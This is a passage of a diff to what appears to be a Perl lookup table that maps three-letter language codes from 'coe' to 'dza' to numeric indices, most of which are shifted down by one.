-         q(1809),
+         q(1808),
          q(0),
          ],
       q(coe) => [
-         q(1810),
+         q(1809),
          q(0),
          ],
       q(cof) => [
-         q(1811),
+         q(1810),
          q(0),
          ],
       q(cog) => [
-         q(1812),
+         q(1811),
          q(0),
          ],
       q(coh) => [
-         q(1813),
+         q(1812),
          q(0),
          ],
       q(coj) => [
-         q(1814),
+         q(1813),
          q(0),
          ],
       q(cok) => [
-         q(1815),
+         q(1814),
          q(0),
          ],
       q(col) => [
-         q(1816),
+         q(1815),
          q(0),
          ],
       q(com) => [
-         q(1817),
+         q(1816),
          q(0),
          ],
       q(con) => [
-         q(1818),
+         q(1817),
          q(0),
          ],
       q(coo) => [
-         q(1819),
+         q(1818),
          q(0),
          ],
       q(cop) => [
-         q(0091),
+         q(0090),
          q(0),
          ],
       q(coq) => [
-         q(1820),
+         q(1819),
          q(0),
          ],
       q(cor) => [
-         q(0092),
+         q(0091),
          q(0),
          ],
       q(cos) => [
-         q(0093),
+         q(0092),
          q(0),
          ],
       q(cot) => [
-         q(1821),
+         q(1820),
          q(0),
          ],
       q(cou) => [
-         q(1822),
+         q(1821),
          q(0),
          ],
       q(cov) => [
-         q(1823),
+         q(1822),
          q(0),
          ],
       q(cow) => [
-         q(1824),
+         q(1823),
          q(0),
          ],
       q(cox) => [
-         q(1825),
+         q(1824),
          q(0),
          ],
       q(coz) => [
-         q(1826),
+         q(1825),
          q(0),
          ],
       q(cpa) => [
-         q(1827),
+         q(1826),
          q(0),
          ],
       q(cpb) => [
-         q(1828),
+         q(1827),
          q(0),
          ],
       q(cpc) => [
-         q(1829),
+         q(1828),
          q(0),
          ],
       q(cpe) => [
-         q(0094),
+         q(0093),
          q(2),
          ],
       q(cpf) => [
-         q(0095),
+         q(0094),
          q(2),
          ],
       q(cpg) => [
-         q(1830),
+         q(1829),
          q(0),
          ],
       q(cpi) => [
-         q(1831),
+         q(1830),
          q(0),
          ],
       q(cpn) => [
-         q(1832),
+         q(1831),
          q(0),
          ],
       q(cpo) => [
-         q(1833),
+         q(1832),
          q(0),
          ],
       q(cpp) => [
-         q(0096),
+         q(0095),
          q(2),
          ],
       q(cps) => [
-         q(1834),
+         q(1833),
          q(0),
          ],
       q(cpu) => [
-         q(1835),
+         q(1834),
          q(0),
          ],
       q(cpx) => [
-         q(1836),
+         q(1835),
          q(0),
          ],
       q(cpy) => [
-         q(1837),
+         q(1836),
          q(0),
          ],
       q(cqd) => [
-         q(1838),
+         q(1837),
          q(0),
          ],
       q(cra) => [
-         q(1839),
+         q(1838),
          q(0),
          ],
       q(crb) => [
-         q(1840),
+         q(1839),
          q(0),
          ],
       q(crc) => [
-         q(1841),
+         q(1840),
          q(0),
          ],
       q(crd) => [
-         q(1842),
+         q(1841),
          q(0),
          ],
       q(cre) => [
-         q(0097),
+         q(0096),
          q(0),
          ],
       q(crf) => [
-         q(1843),
+         q(1842),
          q(0),
          ],
       q(crg) => [
-         q(1844),
+         q(1843),
          q(0),
          ],
       q(crh) => [
-         q(0098),
+         q(0097),
          q(0),
          ],
       q(cri) => [
-         q(1845),
+         q(1844),
          q(0),
          ],
       q(crj) => [
-         q(1846),
+         q(1845),
          q(0),
          ],
       q(crk) => [
-         q(1847),
+         q(1846),
          q(0),
          ],
       q(crl) => [
-         q(1848),
+         q(1847),
          q(0),
          ],
       q(crm) => [
-         q(1849),
+         q(1848),
          q(0),
          ],
       q(crn) => [
-         q(1850),
+         q(1849),
          q(0),
          ],
       q(cro) => [
-         q(1851),
+         q(1850),
          q(0),
          ],
       q(crp) => [
-         q(0099),
+         q(0098),
          q(1),
          ],
       q(crq) => [
-         q(1852),
+         q(1851),
          q(0),
          ],
       q(crr) => [
-         q(1853),
+         q(1852),
          q(0),
          ],
       q(crs) => [
-         q(1854),
+         q(1853),
          q(0),
          ],
       q(crt) => [
-         q(1855),
+         q(1854),
          q(0),
          ],
       q(crv) => [
-         q(1856),
+         q(1855),
          q(0),
          ],
       q(crw) => [
-         q(1857),
+         q(1856),
          q(0),
          ],
       q(crx) => [
-         q(1858),
+         q(1857),
          q(0),
          ],
       q(cry) => [
-         q(1859),
+         q(1858),
          q(0),
          ],
       q(crz) => [
-         q(1860),
+         q(1859),
          q(0),
          ],
       q(csa) => [
-         q(1861),
+         q(1860),
          q(0),
          ],
       q(csb) => [
-         q(0100),
+         q(0099),
          q(0),
          ],
       q(csc) => [
-         q(1862),
+         q(1861),
          q(0),
          ],
       q(csd) => [
-         q(1863),
+         q(1862),
          q(0),
          ],
       q(cse) => [
-         q(1864),
+         q(1863),
          q(0),
          ],
       q(csf) => [
-         q(1865),
+         q(1864),
          q(0),
          ],
       q(csg) => [
-         q(1866),
+         q(1865),
          q(0),
          ],
       q(csh) => [
-         q(1867),
+         q(1866),
          q(0),
          ],
       q(csi) => [
-         q(1868),
+         q(1867),
          q(0),
          ],
       q(csj) => [
-         q(1869),
+         q(1868),
          q(0),
          ],
       q(csk) => [
-         q(1870),
+         q(1869),
          q(0),
          ],
       q(csl) => [
-         q(1871),
+         q(1870),
          q(0),
          ],
       q(csm) => [
-         q(1872),
+         q(1871),
          q(0),
          ],
       q(csn) => [
-         q(1873),
+         q(1872),
          q(0),
          ],
       q(cso) => [
-         q(1874),
+         q(1873),
          q(0),
          ],
       q(csq) => [
-         q(1875),
+         q(1874),
          q(0),
          ],
       q(csr) => [
-         q(1876),
+         q(1875),
          q(0),
          ],
       q(css) => [
-         q(1877),
+         q(1876),
          q(0),
          ],
       q(cst) => [
-         q(1878),
+         q(1877),
          q(0),
          ],
       q(csu) => [
-         q(0500),
+         q(0499),
          q(0),
          ],
       q(csv) => [
-         q(1879),
+         q(1878),
          q(0),
          ],
       q(csw) => [
-         q(1880),
+         q(1879),
          q(0),
          ],
       q(csy) => [
-         q(1881),
+         q(1880),
          q(0),
          ],
       q(csz) => [
-         q(1882),
+         q(1881),
          q(0),
          ],
       q(cta) => [
-         q(1883),
+         q(1882),
          q(0),
          ],
       q(ctc) => [
-         q(1884),
+         q(1883),
          q(0),
          ],
       q(ctd) => [
-         q(1885),
+         q(1884),
          q(0),
          ],
       q(cte) => [
-         q(1886),
+         q(1885),
          q(0),
          ],
       q(ctg) => [
-         q(1887),
+         q(1886),
          q(0),
          ],
       q(cth) => [
-         q(1888),
+         q(1887),
          q(0),
          ],
       q(ctl) => [
-         q(1889),
+         q(1888),
          q(0),
          ],
       q(ctm) => [
-         q(1890),
+         q(1889),
          q(0),
          ],
       q(ctn) => [
-         q(1891),
+         q(1890),
          q(0),
          ],
       q(cto) => [
-         q(1892),
+         q(1891),
          q(0),
          ],
       q(ctp) => [
-         q(1893),
+         q(1892),
          q(0),
          ],
       q(cts) => [
-         q(1894),
+         q(1893),
          q(0),
          ],
       q(ctt) => [
-         q(1895),
+         q(1894),
          q(0),
          ],
       q(ctu) => [
-         q(1896),
+         q(1895),
          q(0),
          ],
       q(ctz) => [
-         q(1897),
+         q(1896),
          q(0),
          ],
       q(cua) => [
-         q(1898),
+         q(1897),
          q(0),
          ],
       q(cub) => [
-         q(1899),
+         q(1898),
          q(0),
          ],
       q(cuc) => [
-         q(1900),
+         q(1899),
          q(0),
          ],
       q(cug) => [
-         q(1901),
+         q(1900),
          q(0),
          ],
       q(cuh) => [
-         q(1902),
+         q(1901),
          q(0),
          ],
       q(cui) => [
-         q(1903),
+         q(1902),
          q(0),
          ],
       q(cuj) => [
-         q(1904),
+         q(1903),
          q(0),
          ],
       q(cuk) => [
-         q(1905),
+         q(1904),
          q(0),
          ],
       q(cul) => [
-         q(1906),
+         q(1905),
          q(0),
          ],
       q(cuo) => [
-         q(1907),
+         q(1906),
          q(0),
          ],
       q(cup) => [
-         q(1908),
+         q(1907),
          q(0),
          ],
       q(cuq) => [
-         q(1909),
+         q(1908),
          q(0),
          ],
       q(cur) => [
-         q(1910),
+         q(1909),
          q(0),
          ],
       q(cus) => [
-         q(0101),
+         q(0100),
          q(0),
          ],
       q(cut) => [
-         q(1911),
+         q(1910),
          q(0),
          ],
       q(cuu) => [
-         q(1912),
+         q(1911),
          q(0),
          ],
       q(cuv) => [
-         q(1913),
+         q(1912),
          q(0),
          ],
       q(cuw) => [
-         q(1914),
+         q(1913),
          q(0),
          ],
       q(cux) => [
-         q(1915),
+         q(1914),
          q(0),
          ],
       q(cvg) => [
-         q(1916),
+         q(1915),
          q(0),
          ],
       q(cvn) => [
-         q(1917),
+         q(1916),
          q(0),
          ],
       q(cwa) => [
-         q(1918),
+         q(1917),
          q(0),
          ],
       q(cwb) => [
-         q(1919),
+         q(1918),
          q(0),
          ],
       q(cwd) => [
-         q(1920),
+         q(1919),
          q(0),
          ],
       q(cwe) => [
-         q(1921),
+         q(1920),
          q(0),
          ],
       q(cwg) => [
-         q(1922),
+         q(1921),
          q(0),
          ],
       q(cwt) => [
-         q(1923),
+         q(1922),
          q(0),
          ],
       q(cya) => [
-         q(1924),
+         q(1923),
          q(0),
          ],
       q(cyb) => [
-         q(1925),
+         q(1924),
          q(0),
          ],
       q(cyo) => [
-         q(1926),
+         q(1925),
          q(0),
          ],
       q(cze) => [
-         q(0102),
+         q(0101),
          q(0),
          ],
       q(czh) => [
-         q(1927),
+         q(1926),
          q(0),
          ],
       q(czk) => [
-         q(1928),
+         q(1927),
          q(0),
          ],
       q(czn) => [
-         q(1929),
+         q(1928),
          q(0),
          ],
       q(czo) => [
-         q(1930),
+         q(1929),
          q(0),
          ],
       q(czt) => [
-         q(1931),
+         q(1930),
          q(0),
          ],
       q(daa) => [
-         q(1932),
+         q(1931),
          q(0),
          ],
       q(dac) => [
-         q(1933),
+         q(1932),
          q(0),
          ],
       q(dad) => [
-         q(1934),
+         q(1933),
          q(0),
          ],
       q(dae) => [
-         q(1935),
+         q(1934),
          q(0),
          ],
       q(dag) => [
-         q(1936),
+         q(1935),
          q(0),
          ],
       q(dah) => [
-         q(1937),
+         q(1936),
          q(0),
          ],
       q(dai) => [
-         q(1938),
+         q(1937),
          q(0),
          ],
       q(daj) => [
-         q(1939),
+         q(1938),
          q(0),
          ],
       q(dak) => [
-         q(0103),
+         q(0102),
          q(0),
          ],
       q(dal) => [
-         q(1940),
+         q(1939),
          q(0),
          ],
       q(dam) => [
-         q(1941),
+         q(1940),
          q(0),
          ],
       q(dan) => [
-         q(0104),
+         q(0103),
          q(0),
          ],
       q(dao) => [
-         q(1942),
+         q(1941),
          q(0),
          ],
       q(daq) => [
-         q(1943),
+         q(1942),
          q(0),
          ],
       q(dar) => [
-         q(0105),
+         q(0104),
          q(0),
          ],
       q(das) => [
-         q(1944),
+         q(1943),
          q(0),
          ],
       q(dau) => [
-         q(1945),
+         q(1944),
          q(0),
          ],
       q(dav) => [
-         q(1946),
+         q(1945),
          q(0),
          ],
       q(daw) => [
-         q(1947),
+         q(1946),
          q(0),
          ],
       q(dax) => [
-         q(1948),
+         q(1947),
          q(0),
          ],
       q(day) => [
-         q(0106),
+         q(0105),
          q(0),
          ],
       q(daz) => [
-         q(1949),
+         q(1948),
          q(0),
          ],
       q(dba) => [
-         q(1950),
+         q(1949),
          q(0),
          ],
       q(dbb) => [
-         q(1951),
+         q(1950),
          q(0),
          ],
       q(dbd) => [
-         q(1952),
+         q(1951),
          q(0),
          ],
       q(dbe) => [
-         q(1953),
+         q(1952),
          q(0),
          ],
       q(dbf) => [
-         q(1954),
+         q(1953),
          q(0),
          ],
       q(dbg) => [
-         q(1955),
+         q(1954),
          q(0),
          ],
       q(dbi) => [
-         q(1956),
+         q(1955),
          q(0),
          ],
       q(dbj) => [
-         q(1957),
+         q(1956),
          q(0),
          ],
       q(dbl) => [
-         q(1958),
+         q(1957),
          q(0),
          ],
       q(dbm) => [
-         q(1959),
+         q(1958),
          q(0),
          ],
       q(dbn) => [
-         q(1960),
+         q(1959),
          q(0),
          ],
       q(dbo) => [
-         q(1961),
+         q(1960),
          q(0),
          ],
       q(dbp) => [
-         q(1962),
+         q(1961),
          q(0),
          ],
       q(dbq) => [
-         q(1963),
+         q(1962),
          q(0),
          ],
       q(dbr) => [
-         q(1964),
+         q(1963),
          q(0),
          ],
       q(dbt) => [
-         q(1965),
+         q(1964),
          q(0),
          ],
       q(dbu) => [
-         q(1966),
+         q(1965),
          q(0),
          ],
       q(dbv) => [
-         q(1967),
+         q(1966),
          q(0),
          ],
       q(dbw) => [
-         q(1968),
+         q(1967),
          q(0),
          ],
       q(dby) => [
-         q(1969),
+         q(1968),
          q(0),
          ],
       q(dcc) => [
-         q(1970),
+         q(1969),
          q(0),
          ],
       q(dcr) => [
-         q(1971),
+         q(1970),
          q(0),
          ],
       q(dda) => [
-         q(1972),
+         q(1971),
          q(0),
          ],
       q(ddd) => [
-         q(1973),
+         q(1972),
          q(0),
          ],
       q(dde) => [
-         q(1974),
+         q(1973),
          q(0),
          ],
       q(ddg) => [
-         q(1975),
+         q(1974),
          q(0),
          ],
       q(ddi) => [
-         q(1976),
+         q(1975),
          q(0),
          ],
       q(ddj) => [
-         q(1977),
+         q(1976),
          q(0),
          ],
       q(ddn) => [
-         q(1978),
+         q(1977),
          q(0),
          ],
       q(ddo) => [
-         q(1979),
+         q(1978),
          q(0),
          ],
       q(ddr) => [
-         q(1980),
+         q(1979),
          q(0),
          ],
       q(dds) => [
-         q(1981),
+         q(1980),
          q(0),
          ],
       q(ddw) => [
-         q(1982),
+         q(1981),
          q(0),
          ],
       q(dec) => [
-         q(1983),
+         q(1982),
          q(0),
          ],
       q(ded) => [
-         q(1984),
+         q(1983),
          q(0),
          ],
       q(dee) => [
-         q(1985),
+         q(1984),
          q(0),
          ],
       q(def) => [
-         q(1986),
+         q(1985),
          q(0),
          ],
       q(deg) => [
-         q(1987),
+         q(1986),
          q(0),
          ],
       q(deh) => [
-         q(1988),
+         q(1987),
          q(0),
          ],
       q(dei) => [
-         q(1989),
+         q(1988),
          q(0),
          ],
       q(dek) => [
-         q(1990),
+         q(1989),
          q(0),
          ],
       q(del) => [
-         q(0107),
+         q(0106),
          q(0),
          ],
       q(dem) => [
-         q(1991),
+         q(1990),
          q(0),
          ],
       q(den) => [
-         q(0108),
+         q(0107),
          q(0),
          ],
       q(dep) => [
-         q(1992),
+         q(1991),
          q(0),
          ],
       q(deq) => [
-         q(1993),
+         q(1992),
          q(0),
          ],
       q(der) => [
-         q(1994),
+         q(1993),
          q(0),
          ],
       q(des) => [
-         q(1995),
+         q(1994),
          q(0),
          ],
       q(dev) => [
-         q(1996),
+         q(1995),
          q(0),
          ],
       q(dez) => [
-         q(1997),
+         q(1996),
          q(0),
          ],
       q(dga) => [
-         q(1998),
+         q(1997),
          q(0),
          ],
       q(dgb) => [
-         q(1999),
+         q(1998),
          q(0),
          ],
       q(dgc) => [
-         q(2000),
+         q(1999),
          q(0),
          ],
       q(dgd) => [
-         q(2001),
+         q(2000),
          q(0),
          ],
       q(dge) => [
-         q(2002),
+         q(2001),
          q(0),
          ],
       q(dgg) => [
-         q(2003),
+         q(2002),
          q(0),
          ],
       q(dgh) => [
-         q(2004),
+         q(2003),
          q(0),
          ],
       q(dgi) => [
-         q(2005),
+         q(2004),
          q(0),
          ],
       q(dgk) => [
-         q(2006),
+         q(2005),
          q(0),
          ],
       q(dgl) => [
-         q(2007),
+         q(2006),
          q(0),
          ],
       q(dgn) => [
-         q(2008),
+         q(2007),
          q(0),
          ],
       q(dgo) => [
-         q(2009),
+         q(2008),
          q(0),
          ],
       q(dgr) => [
-         q(0109),
+         q(0108),
          q(0),
          ],
       q(dgs) => [
-         q(2010),
+         q(2009),
          q(0),
          ],
       q(dgt) => [
-         q(2011),
+         q(2010),
          q(0),
          ],
       q(dgu) => [
-         q(2012),
+         q(2011),
          q(0),
          ],
       q(dgw) => [
-         q(2013),
+         q(2012),
          q(0),
          ],
       q(dgx) => [
-         q(2014),
+         q(2013),
          q(0),
          ],
       q(dgz) => [
-         q(2015),
+         q(2014),
          q(0),
          ],
       q(dhd) => [
-         q(2016),
+         q(2015),
          q(0),
          ],
       q(dhg) => [
-         q(2017),
+         q(2016),
          q(0),
          ],
       q(dhi) => [
-         q(2018),
+         q(2017),
          q(0),
          ],
       q(dhl) => [
-         q(2019),
+         q(2018),
          q(0),
          ],
       q(dhm) => [
-         q(2020),
+         q(2019),
          q(0),
          ],
       q(dhn) => [
-         q(2021),
+         q(2020),
          q(0),
          ],
       q(dho) => [
-         q(2022),
+         q(2021),
          q(0),
          ],
       q(dhr) => [
-         q(2023),
+         q(2022),
          q(0),
          ],
       q(dhs) => [
-         q(2024),
+         q(2023),
          q(0),
          ],
       q(dhu) => [
-         q(2025),
+         q(2024),
          q(0),
          ],
       q(dhv) => [
-         q(2026),
+         q(2025),
          q(0),
          ],
       q(dhw) => [
-         q(2027),
+         q(2026),
          q(0),
          ],
       q(dhx) => [
-         q(2028),
+         q(2027),
          q(0),
          ],
       q(dia) => [
-         q(2029),
+         q(2028),
          q(0),
          ],
       q(dib) => [
-         q(2030),
+         q(2029),
          q(0),
          ],
       q(dic) => [
-         q(2031),
+         q(2030),
          q(0),
          ],
       q(did) => [
-         q(2032),
+         q(2031),
          q(0),
          ],
       q(dif) => [
-         q(2033),
+         q(2032),
          q(0),
          ],
       q(dig) => [
-         q(2034),
+         q(2033),
          q(0),
          ],
       q(dih) => [
-         q(2035),
+         q(2034),
          q(0),
          ],
       q(dii) => [
-         q(2036),
+         q(2035),
          q(0),
          ],
       q(dij) => [
-         q(2037),
+         q(2036),
          q(0),
          ],
       q(dik) => [
-         q(2038),
+         q(2037),
          q(0),
          ],
       q(dil) => [
-         q(2039),
+         q(2038),
          q(0),
          ],
       q(dim) => [
-         q(2040),
+         q(2039),
          q(0),
          ],
       q(din) => [
-         q(0110),
+         q(0109),
          q(0),
          ],
       q(dio) => [
-         q(2041),
+         q(2040),
          q(0),
          ],
       q(dip) => [
-         q(2042),
+         q(2041),
          q(0),
          ],
       q(diq) => [
-         q(2043),
+         q(2042),
          q(0),
          ],
       q(dir) => [
-         q(2044),
+         q(2043),
          q(0),
          ],
       q(dis) => [
-         q(2045),
+         q(2044),
          q(0),
          ],
       q(dit) => [
-         q(2046),
+         q(2045),
          q(0),
          ],
       q(diu) => [
-         q(2047),
+         q(2046),
          q(0),
          ],
       q(div) => [
-         q(0111),
+         q(0110),
          q(0),
          ],
       q(diw) => [
-         q(2048),
+         q(2047),
          q(0),
          ],
       q(dix) => [
-         q(2049),
+         q(2048),
          q(0),
          ],
       q(diy) => [
-         q(2050),
+         q(2049),
          q(0),
          ],
       q(diz) => [
-         q(2051),
+         q(2050),
          q(0),
          ],
       q(dja) => [
-         q(2052),
+         q(2051),
          q(0),
          ],
       q(djb) => [
-         q(2053),
+         q(2052),
          q(0),
          ],
       q(djc) => [
-         q(2054),
+         q(2053),
          q(0),
          ],
       q(djd) => [
-         q(2055),
+         q(2054),
          q(0),
          ],
       q(dje) => [
-         q(2056),
+         q(2055),
          q(0),
          ],
       q(djf) => [
-         q(2057),
+         q(2056),
          q(0),
          ],
       q(dji) => [
-         q(2058),
+         q(2057),
          q(0),
          ],
       q(djj) => [
-         q(2059),
+         q(2058),
          q(0),
          ],
       q(djk) => [
-         q(2060),
+         q(2059),
          q(0),
          ],
       q(djm) => [
-         q(2061),
+         q(2060),
          q(0),
          ],
       q(djn) => [
-         q(2062),
+         q(2061),
          q(0),
          ],
       q(djo) => [
-         q(2063),
+         q(2062),
          q(0),
          ],
       q(djr) => [
-         q(2064),
+         q(2063),
          q(0),
          ],
       q(dju) => [
-         q(2065),
+         q(2064),
          q(0),
          ],
       q(djw) => [
-         q(2066),
+         q(2065),
          q(0),
          ],
       q(dka) => [
-         q(2067),
+         q(2066),
          q(0),
          ],
       q(dkk) => [
-         q(2068),
+         q(2067),
          q(0),
          ],
       q(dkr) => [
-         q(2069),
+         q(2068),
          q(0),
          ],
       q(dks) => [
-         q(2070),
+         q(2069),
          q(0),
          ],
       q(dkx) => [
-         q(2071),
+         q(2070),
          q(0),
          ],
       q(dlg) => [
-         q(2072),
+         q(2071),
          q(0),
          ],
       q(dlk) => [
-         q(2073),
+         q(2072),
          q(0),
          ],
       q(dlm) => [
-         q(2074),
+         q(2073),
          q(0),
          ],
       q(dln) => [
-         q(2075),
+         q(2074),
          q(0),
          ],
       q(dma) => [
-         q(2076),
+         q(2075),
          q(0),
          ],
       q(dmb) => [
-         q(2077),
+         q(2076),
          q(0),
          ],
       q(dmc) => [
-         q(2078),
+         q(2077),
          q(0),
          ],
       q(dmd) => [
-         q(2079),
+         q(2078),
          q(0),
          ],
       q(dme) => [
-         q(2080),
+         q(2079),
          q(0),
          ],
       q(dmg) => [
-         q(2081),
+         q(2080),
          q(0),
          ],
       q(dmk) => [
-         q(2082),
+         q(2081),
          q(0),
          ],
       q(dml) => [
-         q(2083),
+         q(2082),
          q(0),
          ],
       q(dmm) => [
-         q(2084),
+         q(2083),
          q(0),
          ],
       q(dmn) => [
-         q(0501),
+         q(0500),
          q(0),
          ],
       q(dmo) => [
-         q(2085),
+         q(2084),
          q(0),
          ],
       q(dmr) => [
-         q(2086),
+         q(2085),
          q(0),
          ],
       q(dms) => [
-         q(2087),
+         q(2086),
          q(0),
          ],
       q(dmu) => [
-         q(2088),
+         q(2087),
          q(0),
          ],
       q(dmv) => [
-         q(2089),
+         q(2088),
          q(0),
          ],
       q(dmw) => [
-         q(2090),
+         q(2089),
          q(0),
          ],
       q(dmx) => [
-         q(2091),
+         q(2090),
          q(0),
          ],
       q(dmy) => [
-         q(2092),
+         q(2091),
          q(0),
          ],
       q(dna) => [
-         q(2093),
+         q(2092),
          q(0),
          ],
       q(dnd) => [
-         q(2094),
+         q(2093),
          q(0),
          ],
       q(dne) => [
-         q(2095),
+         q(2094),
          q(0),
          ],
       q(dng) => [
-         q(2096),
+         q(2095),
          q(0),
          ],
       q(dni) => [
-         q(2097),
+         q(2096),
          q(0),
          ],
       q(dnj) => [
-         q(2098),
+         q(2097),
          q(0),
          ],
       q(dnk) => [
-         q(2099),
+         q(2098),
          q(0),
          ],
       q(dnn) => [
-         q(2100),
+         q(2099),
          q(0),
          ],
       q(dnr) => [
-         q(2101),
+         q(2100),
          q(0),
          ],
       q(dnt) => [
-         q(2102),
+         q(2101),
          q(0),
          ],
       q(dnu) => [
-         q(2103),
+         q(2102),
          q(0),
          ],
       q(dnv) => [
-         q(2104),
+         q(2103),
          q(0),
          ],
       q(dnw) => [
-         q(2105),
+         q(2104),
          q(0),
          ],
       q(dny) => [
-         q(2106),
+         q(2105),
          q(0),
          ],
       q(doa) => [
-         q(2107),
+         q(2106),
          q(0),
          ],
       q(dob) => [
-         q(2108),
+         q(2107),
          q(0),
          ],
       q(doc) => [
-         q(2109),
+         q(2108),
          q(0),
          ],
       q(doe) => [
-         q(2110),
+         q(2109),
          q(0),
          ],
       q(dof) => [
-         q(2111),
+         q(2110),
          q(0),
          ],
       q(doh) => [
-         q(2112),
+         q(2111),
          q(0),
          ],
       q(doi) => [
-         q(0112),
+         q(0111),
          q(1),
          ],
       q(dok) => [
-         q(2113),
+         q(2112),
          q(0),
          ],
       q(dol) => [
-         q(2114),
+         q(2113),
          q(0),
          ],
       q(don) => [
-         q(2115),
+         q(2114),
          q(0),
          ],
       q(doo) => [
-         q(2116),
+         q(2115),
          q(0),
          ],
       q(dop) => [
-         q(2117),
+         q(2116),
          q(0),
          ],
       q(doq) => [
-         q(2118),
+         q(2117),
          q(0),
          ],
       q(dor) => [
-         q(2119),
+         q(2118),
          q(0),
          ],
       q(dos) => [
-         q(2120),
+         q(2119),
          q(0),
          ],
       q(dot) => [
-         q(2121),
+         q(2120),
          q(0),
          ],
       q(dov) => [
-         q(2122),
+         q(2121),
          q(0),
          ],
       q(dow) => [
-         q(2123),
+         q(2122),
          q(0),
          ],
       q(dox) => [
-         q(2124),
+         q(2123),
          q(0),
          ],
       q(doy) => [
-         q(2125),
+         q(2124),
          q(0),
          ],
       q(doz) => [
-         q(2126),
+         q(2125),
          q(0),
          ],
       q(dpp) => [
-         q(2127),
+         q(2126),
          q(0),
          ],
       q(dra) => [
-         q(0113),
+         q(0112),
          q(0),
          ],
       q(drb) => [
-         q(2128),
+         q(2127),
          q(0),
          ],
       q(drc) => [
-         q(2129),
+         q(2128),
          q(0),
          ],
       q(drd) => [
-         q(2130),
+         q(2129),
          q(0),
          ],
       q(dre) => [
-         q(2131),
+         q(2130),
          q(0),
          ],
       q(drg) => [
-         q(2132),
+         q(2131),
          q(0),
          ],
       q(dri) => [
-         q(2133),
+         q(2132),
          q(0),
          ],
       q(drl) => [
-         q(2134),
+         q(2133),
          q(0),
          ],
       q(drn) => [
-         q(2135),
+         q(2134),
          q(0),
          ],
       q(dro) => [
-         q(2136),
+         q(2135),
          q(0),
          ],
       q(drq) => [
-         q(2137),
+         q(2136),
          q(0),
          ],
       q(drr) => [
-         q(2138),
+         q(2137),
          q(0),
          ],
       q(drs) => [
-         q(2139),
+         q(2138),
          q(0),
          ],
       q(drt) => [
-         q(2140),
+         q(2139),
          q(0),
          ],
       q(dru) => [
-         q(2141),
+         q(2140),
          q(0),
          ],
       q(dry) => [
-         q(2142),
+         q(2141),
          q(0),
          ],
       q(dsb) => [
-         q(0114),
+         q(0113),
          q(0),
          ],
       q(dse) => [
-         q(2143),
+         q(2142),
          q(0),
          ],
       q(dsh) => [
-         q(2144),
+         q(2143),
          q(0),
          ],
       q(dsi) => [
-         q(2145),
+         q(2144),
          q(0),
          ],
       q(dsl) => [
-         q(2146),
+         q(2145),
          q(0),
          ],
       q(dsn) => [
-         q(2147),
+         q(2146),
          q(0),
          ],
       q(dso) => [
-         q(2148),
+         q(2147),
          q(0),
          ],
       q(dsq) => [
-         q(2149),
+         q(2148),
          q(0),
          ],
       q(dta) => [
-         q(2150),
+         q(2149),
          q(0),
          ],
       q(dtb) => [
-         q(2151),
+         q(2150),
          q(0),
          ],
       q(dtd) => [
-         q(2152),
+         q(2151),
          q(0),
          ],
       q(dth) => [
-         q(2153),
+         q(2152),
          q(0),
          ],
       q(dti) => [
-         q(2154),
+         q(2153),
          q(0),
          ],
       q(dtk) => [
-         q(2155),
+         q(2154),
          q(0),
          ],
       q(dtm) => [
-         q(2156),
+         q(2155),
          q(0),
          ],
       q(dtn) => [
-         q(2157),
+         q(2156),
          q(0),
          ],
       q(dto) => [
-         q(2158),
+         q(2157),
          q(0),
          ],
       q(dtp) => [
-         q(2159),
+         q(2158),
          q(0),
          ],
       q(dtr) => [
-         q(2160),
+         q(2159),
          q(0),
          ],
       q(dts) => [
-         q(2161),
+         q(2160),
          q(0),
          ],
       q(dtt) => [
-         q(2162),
+         q(2161),
          q(0),
          ],
       q(dtu) => [
-         q(2163),
+         q(2162),
          q(0),
          ],
       q(dty) => [
-         q(2164),
+         q(2163),
          q(0),
          ],
       q(dua) => [
-         q(0115),
+         q(0114),
          q(0),
          ],
       q(dub) => [
-         q(2165),
+         q(2164),
          q(0),
          ],
       q(duc) => [
-         q(2166),
+         q(2165),
          q(0),
          ],
       q(dud) => [
-         q(2167),
+         q(2166),
          q(0),
          ],
       q(due) => [
-         q(2168),
+         q(2167),
          q(0),
          ],
       q(duf) => [
-         q(2169),
+         q(2168),
          q(0),
          ],
       q(dug) => [
-         q(2170),
+         q(2169),
          q(0),
          ],
       q(duh) => [
-         q(2171),
+         q(2170),
          q(0),
          ],
       q(dui) => [
-         q(2172),
+         q(2171),
          q(0),
          ],
       q(duk) => [
-         q(2173),
+         q(2172),
          q(0),
          ],
       q(dul) => [
-         q(2174),
+         q(2173),
          q(0),
          ],
       q(dum) => [
-         q(0116),
+         q(0115),
          q(1),
          ],
       q(dun) => [
-         q(2175),
+         q(2174),
          q(0),
          ],
       q(duo) => [
-         q(2176),
+         q(2175),
          q(0),
          ],
       q(dup) => [
-         q(2177),
+         q(2176),
          q(0),
          ],
       q(duq) => [
-         q(2178),
+         q(2177),
          q(0),
          ],
       q(dur) => [
-         q(2179),
+         q(2178),
          q(0),
          ],
       q(dus) => [
-         q(2180),
+         q(2179),
          q(0),
          ],
       q(dut) => [
-         q(0117),
+         q(0116),
          q(0),
          ],
       q(duu) => [
-         q(2181),
+         q(2180),
          q(0),
          ],
       q(duv) => [
-         q(2182),
+         q(2181),
          q(0),
          ],
       q(duw) => [
-         q(2183),
+         q(2182),
          q(0),
          ],
       q(dux) => [
-         q(2184),
+         q(2183),
          q(0),
          ],
       q(duy) => [
-         q(2185),
+         q(2184),
          q(0),
          ],
       q(duz) => [
-         q(2186),
+         q(2185),
          q(0),
          ],
       q(dva) => [
-         q(2187),
+         q(2186),
          q(0),
          ],
       q(dwa) => [
-         q(2188),
+         q(2187),
          q(0),
          ],
       q(dwr) => [
-         q(2189),
+         q(2188),
          q(0),
          ],
       q(dws) => [
-         q(2190),
+         q(2189),
          q(0),
          ],
       q(dwu) => [
-         q(2191),
+         q(2190),
          q(0),
          ],
       q(dww) => [
-         q(2192),
+         q(2191),
          q(0),
          ],
       q(dwy) => [
-         q(2193),
+         q(2192),
          q(0),
          ],
       q(dya) => [
-         q(2194),
+         q(2193),
          q(0),
          ],
       q(dyb) => [
-         q(2195),
+         q(2194),
          q(0),
          ],
       q(dyd) => [
-         q(2196),
+         q(2195),
          q(0),
          ],
       q(dyg) => [
-         q(2197),
+         q(2196),
          q(0),
          ],
       q(dyi) => [
-         q(2198),
+         q(2197),
          q(0),
          ],
       q(dym) => [
-         q(2199),
+         q(2198),
          q(0),
          ],
       q(dyn) => [
-         q(2200),
+         q(2199),
          q(0),
          ],
       q(dyo) => [
-         q(2201),
+         q(2200),
          q(0),
          ],
       q(dyu) => [
-         q(0118),
+         q(0117),
          q(0),
          ],
       q(dyy) => [
-         q(2202),
+         q(2201),
          q(0),
          ],
       q(dza) => [
-         q(2203),
+         q(2202),
